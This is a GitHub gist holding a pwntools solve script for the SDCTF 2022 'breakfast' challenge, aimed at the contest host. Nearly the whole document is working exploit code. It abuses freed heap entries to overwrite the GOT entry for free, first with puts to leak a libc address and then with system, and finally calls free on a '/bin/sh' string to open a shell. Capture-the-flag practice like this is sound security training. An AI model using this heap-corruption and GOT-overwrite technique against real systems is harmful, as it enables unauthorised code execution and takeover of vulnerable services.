Skip to content

Instantly share code, notes, and snippets.

@reductor
Created May 9, 2022 00:03
Show Gist options
  • Save reductor/274c6eeb11d7d47e971ee57decdcdd48 to your computer and use it in GitHub Desktop.
Save reductor/274c6eeb11d7d47e971ee57decdcdd48 to your computer and use it in GitHub Desktop.
sdctf 2022 - breakfast solve script
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ./BreakfastMenu_patched --host breakfast.sdc.tf --port 1337
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF('./BreakfastMenu_patched')
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or 'breakfast.sdc.tf'
port = int(args.PORT or 1337)
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x3ff000)
# RUNPATH: b'.'
io = start()
# shellcode = asm(shellcraft.sh())
# payload = fit({
# 32: 0xdeadbeef,
# 'iaaa': [1, 2, 'Hello', 3]
# }, length=128)
# io.send(payload)
# flag = io.recv(...)
# log.success(flag)
# create two
io.sendlineafter(b'leave\n', b'1')
io.sendlineafter(b'leave\n', b'1')
# delete both
io.sendlineafter(b'leave\n', b'3')
io.sendlineafter(b'remove\n', b'0')
io.sendlineafter(b'leave\n', b'3')
io.sendlineafter(b'remove\n', b'1')
# update pointer on the second so we return the orders
io.sendlineafter(b'leave\n', b'2')
io.sendlineafter(b'modify\n', b'1')
io.sendlineafter(b'?', p64(exe.symbols['orders']))
# get orders into orders[3]
io.sendlineafter(b'leave\n', b'1')
io.sendlineafter(b'leave\n', b'1')
# zero out the bytes for 'free'
for x in range(7):
io.sendlineafter(b'leave\n', b'2')
io.sendlineafter(b'modify\n', b'3')
io.sendlineafter(b'?', p64(exe.symbols.got['free']+x))
io.sendlineafter(b'leave\n', b'2')
io.sendlineafter(b'modify\n', b'0')
io.sendlineafter(b'?', b'\x00')
# change free to puts
io.sendlineafter(b'leave\n', b'2')
io.sendlineafter(b'modify\n', b'3')
io.sendlineafter(b'?', p64(exe.symbols.got['free']))
io.sendlineafter(b'leave\n', b'2')
io.sendlineafter(b'modify\n', b'0')
io.sendlineafter(b'?', p64(exe.symbols.plt['puts']))
# make the order[0] point to puts
io.sendlineafter(b'leave\n', b'2')
io.sendlineafter(b'modify\n', b'3')
io.sendlineafter(b'?', p64(exe.symbols.got['puts']))
# delete order[0] to get a leak of printf
io.sendlineafter(b'leave\n', b'3')
io.sendlineafter(b'remove\n', b'0')
puts_leak = unpack(io.recvline()[:-1],'all')
print('puts_leak', hex(puts_leak))
libc = exe.libc
libc.address = puts_leak - libc.symbols['puts']
print('libc address', hex(libc.address))
# make free become system
io.sendlineafter(b'leave\n', b'2')
io.sendlineafter(b'modify\n', b'3')
io.sendlineafter(b'?', p64(exe.symbols.got['free']))
io.sendlineafter(b'leave\n', b'2')
io.sendlineafter(b'modify\n', b'0')
io.sendlineafter(b'?', p64(libc.symbols['system']))
# free('/bin/sh')
io.sendlineafter(b'leave\n', b'2')
io.sendlineafter(b'modify\n', b'3')
io.sendlineafter(b'?', b'/bin/sh')
io.sendlineafter(b'leave\n', b'3')
io.sendlineafter(b'remove\n', b'3')
io.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment